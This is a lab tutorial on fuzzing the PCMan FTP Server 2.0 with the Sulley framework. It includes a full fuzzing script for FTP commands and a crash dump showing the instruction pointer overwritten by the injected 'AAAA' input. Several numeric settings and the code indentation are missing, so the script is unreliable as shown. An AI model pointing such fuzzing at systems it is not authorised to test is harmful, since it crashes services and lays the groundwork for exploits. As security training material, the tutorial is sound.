OS Name: Microsoft Windows XP Professional
OS Version: Service Pack Build
Install Sulley Framework
https://github.com/OpenRCE/sulley/wiki/Windows-Installation
Create a new fuzz Program
Write the following code to file fuzz_pcmanftpd.py
# Video 1 Practical Fuzzing Basic using the Sulley Framework
# https://www.exploit-db.com/exploits/37731/
# C:\Fuzzing\sulley>python network_monitor.py -d 0 -f "port 21" -P audit
# C:\Fuzzing\sulley>python process_monitor.py -c audit\pcmanftpd_crashbin -p "PCManFTPD2.exe"
"""
220 PCMan's FTP Server 2.0 Ready.
USER anonymous
331 User name okay, need password.
PASS password12345
230 User logged in
PORT 192,168,1,106,206,27
200 Command okay.
STOR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,28
200 Command okay.
LIST
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,29
200 Command okay.
RETR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
QUIT
"""
from sulley import *
# General Overview
# 1. Create requests (define fuzzing grammar)
# 2. Define sessions
# 3. Define target
# 4. Fuzz!
# s_initialize - Construct a new request
# s_static ("USER") - A string that is static (umutated) and does not get fuzzed
# s_delin(" ") - A delimiter that can be fuzzed. Will have different mutations that using s_string
# s_string("anonymous") - A string that will be mutated. Includes more mutations than s_delim
# -------------------------------------------------------------------
# Grammar to be tested
s_initialize("user")
s_static("USER")
s_delim(" ", fuzzable=False)
s_string("anonymous")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ", fuzzable=False)
s_string("pass12345")
s_static("\r\n")
s_initialize("put")
s_static("PUT")
s_delim(" ", fuzzable=False)
s_string("fuzz_strings")
s_static("\r\n")
s_initialize("stor")
s_static("STOR")
s_delim(" ", fuzzable=True)
s_string("AAAA")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")
s_delim(" ", fuzzable=False)
s_string("AAAA")
s_static("\r\n")
# -------------------------------------------------------------------
# Define pre_send function. Will be executed right after the three-way handshake
def receive_ftp_banner(sock):
sock.recv()
# -------------------------------------------------------------------
# Define session
# Session parameters
SESSION_FILENAME = "pcmanftpd-session" # Keeps track of the current fuzzing state
SLEEP_TIME = # Pause between two fuzzing attempts
TIMEOUT = # Fuzzer will time out after 5 seconds of no connection
CRASH_THRESHOLD = # After 4 crashes parameter will be skipped
mysession = sessions.session(
session_filename=SESSION_FILENAME,
sleep_time=SLEEP_TIME,
timeout=TIMEOUT,
crash_threshold=CRASH_THRESHOLD)
mysession.pre_send = receive_ftp_banner
mysession.connect(s_get("user"))
mysession.connect(s_get("user"), s_get("pass"))
mysession.connect(s_get("pass"), s_get("stor"))
mysession.connect(s_get("pass"), s_get("mkd"))
mysession.connect(s_get("pass"), s_get("put"))
# -------------------------------------------------------------------
# Draw graph representing the fuzzing paths.
with open("session_test.udg", "w+") as f:
f.write(mysession.render_graph_udraw())
# -------------------------------------------------------------------
# Just some overview output
print("Number of mutation during one case: %s\n" % str(s_num_mutations()))
print("Total number of mutations: %s\n" % str(s_num_mutations() * ))
decision = raw_input("Do you want to continue?(y/n): ")
if decision == "n":
exit()
# -------------------------------------------------------------------
# Define target paramsters
host = "192.168.1.107"
ftp_port =
netmon_port =
procmon_port =
target = sessions.target(host, ftp_port)
target.procmon = pedrpc.client(host, procmon_port)
target.netman = pedrpc.client(host, netmon_port)
target.procmon_options = {
"proc_name": "pcmanftpd2.exe",
"stop_commands": ["wmic process where (name='PCManFTPD2.exe') call terminate"],
"start_commands": ["C:\\PCManFTP\\PCManFTPD2.exe"]
}
# Add target to the session
mysession.add_target(target)
# -------------------------------------------------------------------
# Lets get rollin
print("Starting fuzzing now")
mysession.fuzz()
# Starts the fuzzing process and
# also the web interface (http://127.0.0.1:26000) to see the current state
Fuzz Structure
Starts fuzzing
Check fuzz results
We can access http://127.0.0.1:26000/view_crash/2 for crash details.
[INVALID]:41414141 Unable to disassemble at 41414141 from thread 720 caused access violation
when attempting to read from 0x41414141
CONTEXT DUMP
EIP: 41414141 Unable to disassemble at 41414141
EAX: 00000000 ( 0) -> N/A
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0000000b ( 11) -> N/A
EDI: 00000004 ( 4) -> N/A
ESI: 0012edc4 ( 1240516) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
EBP: 00a31c30 ( 10689584) -> UCP+DDIQA&U$`A1A1aC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
+00: 41414141 (1094795585) -> N/A
+04: 41414141 (1094795585) -> N/A
+08: 41414141 (1094795585) -> N/A
+0c: 41414141 (1094795585) -> N/A
+10: 41414141 (1094795585) -> N/A
+14: 41414141 (1094795585) -> N/A
disasm around:
0x41414141 Unable to disassemble
SEH unwind:
0012fec0 -> USER32.dll:7e44048f push ebp
0012ffb0 -> USER32.dll:7e44048f push ebp
0012ffe0 -> PCManFTPD2.exe:004185bc push ebp
ffffffff -> kernel32.dll:7c839ac0 push ebp
References
https://github.com/OpenRCE/sulley/wiki/Windows-Installation
http://pen-testing.sans.org/blog/pen-testing/2011/12/05/fuzzing-in-a-penetration-test
http://www.dfate.de/public/index.php/post/exploit-development-series-video-1-practical-fuzzing-basics-using-the-sulley-framework